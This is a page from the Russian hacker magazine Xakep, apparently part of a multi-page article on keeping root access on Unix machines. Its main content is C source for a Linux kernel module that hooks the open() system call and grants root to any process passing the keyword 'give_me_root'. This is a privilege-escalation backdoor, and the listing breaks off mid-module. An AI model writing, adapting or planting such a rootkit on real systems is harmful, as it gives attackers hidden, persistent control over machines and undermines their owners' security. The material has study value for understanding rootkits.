Root поселение на Unix тачке

Xakep, номер #049, стр. 049-086-3


Вернемся к нашим баранам. Для практической реализации вышеописанного способа возьмем такой системный вызов, как open(), который имеет 3 параметра - имя открываемого файла, флаги и тип режим, в котором мы будем работать с файлом. Сделаем так, чтобы при передаче этому системному вызову в качестве имени файла некоего ключевого слова, ядро повышало бы приоритет нашего процесса до 0.

Вот как код выглядит для линукса:

/* headers skipped */

#define KEYWORD "give_me_root" /* наше ключевое слово */

extern void* sys_call_table[]; /* таблица системных вызовов */

extern struct task_struct *current; /* указатель на структуру, описывающую текущий процесс */

int (*orig_open) (const char*, int, int);

int our_open (const char *name, int flags, int mode) /* протрояненный системный вызов open() */

{

char *nn = getname(name);

if (strcmp (nn, KEYWORD) == 0)

{

/* меняем приоритет процесса, сделавшего данный системный вызов */

current->uid = 0;

current->euid = 0;

current->gid = 0;

current->egid = 0;

return (0);

}

/* запускаем оригинальный open() */

return (orig_open (name, flags, mode));

}

int init_module (void)

{

orig_open = sys_call_table[SYS_open]; /* сохраняем старый указатель на функцию-обработчик open'а */

Назад на стр. 049-086-2  Содержание  Вперед на стр. 049-086-4